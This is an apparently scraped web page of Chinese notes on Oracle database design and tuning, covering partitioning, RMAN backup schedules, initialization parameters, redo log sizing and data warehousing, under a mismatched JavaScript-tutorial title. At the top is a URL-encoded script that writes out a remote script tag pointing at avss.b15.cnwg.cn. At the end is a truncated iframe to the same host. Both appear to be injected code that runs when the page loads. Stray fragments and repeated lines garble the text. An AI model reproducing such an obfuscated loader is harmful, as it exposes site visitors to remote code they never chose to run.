HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
创新性应
iv>
创新性应用:
创新点(oracle):
1、 采用分布式的数据库开发模式即集中-分布-集中。
2、 采用数据仓库对海量数据采取数据库数据挖掘,数据抽取(ETL)
3、 对数据库备份防止冗灾采用Rman.
4、 对海量数据数据分析采用OLAP集群分析
5、 对于业务数据对象(表,索引)采用分区解决方法,即分区表,分区索引
6、 对于数据库发生故障维护的技巧和经验(检察操作系统,I/O,SGA,PGA)
7、 对于数据故障分析采用STATPACK
行业借鉴经验:
对于应用软件和管理软件的数据规划,设计,开发要首先鉴于需求对系统进行整体的分析,如数据库的模式采用什么样,数据空间如何去建,数据表空间,索引表空间如何取存储(在不同的操作系统具体的存储方法不一样,如: Win系统采用的不同物理地址,而在Linux,Unix采用的不同的磁阵列),数据文件,控制文件如何去放,重做日志文件应该用多大,如何去存放,一些业务的对象不同的构建方法等等,在前期都要有一定的分析和规划,以及在OOA中如何从概念模型转换到物理模型的,这些都是在前期考虑的重点,对于物理模型,即数据库开发的过程中要对系统涉及的数据对象,尤其是表要进行分类比如数据字典,业务表,常规表,数据量比较小的表,对于这些表进行不同的处理,比如对数据量大的表要进行一些分区处理,索引等等,对于系统开发完维护的阶段要对数据库整体进行优化,找出那些地方需要优化,给出优化方案,对数据库的整体备份要有一定的规划,比如多长时间进行逻辑备份,多长时间进行物理备份,冷备份,热备份,Rman备份,如何去备份,以及在系统出现故障的时候知道如何去着手等等,在数据仓库处理的过程中要根据数据仓库的特点去严格要求数据仓库,即数据仓库是面向主题的,数据仓库的数据是集成的,数据仓库的数据是不可更新的,数据仓库的数据是随时间不断变化的这样的特点去处理数据仓库,对于从数据库转变到数据仓库的过程中采用的ETL如何去转换,抽取,加载等等
应用难点技巧:
1、 在系统规划的前期要分析系统的子系统的相互独立性是否独立或者说是否同时访问进程很多即并发性很高,这样的话建立多个用户表空间、索引表空间,把各个用户分别建在不同的表空间里(多个用户表空间放在不同的物理磁盘上或者放在不同的磁阵列上),减少了用户之间的I/O竞争、读写数据与写读索引的竞争(用户表空间、索引表空间也分别放在不同的物理磁盘上)
2、 对于系统前期内存/CPU规划,为了更好地防范介质故障,一般应在 ARCHIVELOG 模式下运行 Oracle数据库。这使用户能在数据库打开和运行时完成数据库的一致性备份。
a、 配尽可能多的实存给共享池和数据库缓冲区(初始化参数文件中的SHARED_POOL_SIZE项和 DB_BLOCK_BUFFERS项)以便允许在内存中运作尽可能多的工作,与在磁盘工作相比,在内存中工作使用的CPU较少。
b、 将初始化参数文件项 SEQUENCE_CACHE_ENTRIES 设为高值(缺省值为10,可设为1,000)。
c、 分配大于缺省值的内存以便执行排序操作(初始化参数文件中的 SORT_AREA_SIZE项),不请求I/O的内存排序使用较少的CPU。
d、 在多CPU的机器上,增大初始化参数文件项LOG_SIMULTANEOUS_COPIES的值,以便允许每个CPU的进程把项拷贝到重演日志缓冲区中。
e、 为了释放占用的CPU,尽一切可能使I/O最小化
3、 对于才开发过程中对于一些海量的业务数据表,采用分区的表进行解决,这样在对这样的对象进行访问的时候速度会提高很多,性能会提高很多。
4、 对于一些表的主建字段不宜过多一般不超过3个字段,对于一些再条件中用的函数字段可以根据需要建立一些函数索引和一些复合索引
5、 在对于一些复杂的SQL写法提倡采用分析函数和自建函数,尽量的少使用试图,但是可以试着使用物化试图
6、 对于后期系统的应用性能,特别在Client/Server模式的应用,如果碰到整个系统的性能随着数据量的增大显著下降的问题,我们可以从以下几个方面:数据库服务器、网络I/O、应用程序等对整个系统加以调整,充分发挥Oracle的效能,提高整个系统的性能。
a、 调整数据库服务器的性能
b、 调整 Client/Server 模式下的网络 I/O,Client/Server环境中的应用处理是分布在客户应用程序和数据库服务程序之间的。在 Client/Server环境中Client与Server之间的网络I/O是整个系统性能提高的瓶颈,一个客户应用程序引起的网络I/O越少,应用及整个系统的性能越好。减少网络I/O的最重要的一条原则:将应用逻辑集中在数据库服务器中
c、 应用程序的调整,如:SQL语句的优化等等。
7、 对于Spfile的应用是个比较有创意的知识点,这点在现在的oracle数据库的应用中也比较广泛和流行,因为除了第一次地动数据库的时候需要Pfile(然后可以根据Pfile穿件Spfile),以后不再需要Pfile,Spfie是一个二进制文件,在系统启动的时候被数据库读取,使用Spfile可以减少人为错误的发生,在Rman备份中使用比较广泛。
8、 要定制恰当的备份策略,比如对于一个OLTP的系统可以做如下的策略
a、 每半年做一个数据库的全备份(包括所有的数据和只读表空间)。
b、 每一个月做一次零级备份(不包括只读表空间)。
c、 每个星期做一次一级备份。
d、 每天做一次二级备份。
任何数据库的更改需要重新同步CARTALOG目录并重新备份(如添加数据文件)或重新备份(如修改表空间为只读),每次备份后都可以备份归档日至或定期备份归档日至。
9、 对于Rman备份的时候要注意点是:
因为备份操作主要是完成下面的三个步骤:从磁盘上读取数据,在内存中处理数据块,写入数据到磁盘或磁带。
以上的读写餐座可以同步或者异步的完成,在同步I/O操作中,一个时间只允许有一个I/O操作,但是在异步I/O操作中,一个时间允许有多个I/O操作。因此,悲愤欲恢复的调优主要是集中在几个方面
a、 提高同步或者异步I/O操作能力,在支持以不操作的操作系统上,可以通过设置TAPE_AYSNCH_IO.DISK_ASYNCH_IO和BACKUP_TYPE_IO.SLAVES来支持异步操作,提高写的能力.
b、 提高磁盘读能力,可以在BACKUP命令后通过设置DISKRATIO来保证从多个磁盘上读取数据,保证连续的数据流.
c、 正确设置缓冲区与参数值,设置LARGE_POOL_SIZE,使备份可以使用连续的缓冲池,通过设置DB_FILE_DIRECT_IO_COUNT可以提高缓冲区的利用,如果使用磁盘备份,还可以设置BACKUP_TYPE_IO_SLAVES来提高对磁带的写能力.
d、 采用并行备份,开辟多个通道,可以实现并行悲愤欲恢复.
10、对于重做日志文件的技巧REDO LOG 是数据库的重要组成部分,他们维护数据跟新记录,当系统出错时可用来恢复数据库.特别是当数据库系统运行在归档方式下时候,可通过日至文件来保证数据库恢复到最近的状态,为了使重做日志文件能正常运作,相互切换,至少要建两个相同大小的重做日志文件组,基于安全考虑,一个重做日志文件组内再建两个成员,把他们放在不同的磁盘上保存,当一个重做日志文件组写满时,或强制执行,alter system log switch 命令时,重做日志文件组进行切换,如果重做日志文件组的切换过于频繁,会造成系统的性能下降,可以通过查看alert日志文件中的信息,来确定重做日志文件的切换频率,一般来说,在大多数的情况下文件的切换在30分钟左右产生在一次是较好的,如果切换频率过快,几分钟甚至更短时间就切换一次,显然会造成检查点次就大大增加,从而影响整个系统性能,出现在这样现象时,就需要重建更大容量日至文件的重做日志文件组.
11、对于数据仓库来说因为数据仓库的核心是企业数据中心,所以在对维度,事实,度量等的理解上要有一定的基础和了解。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">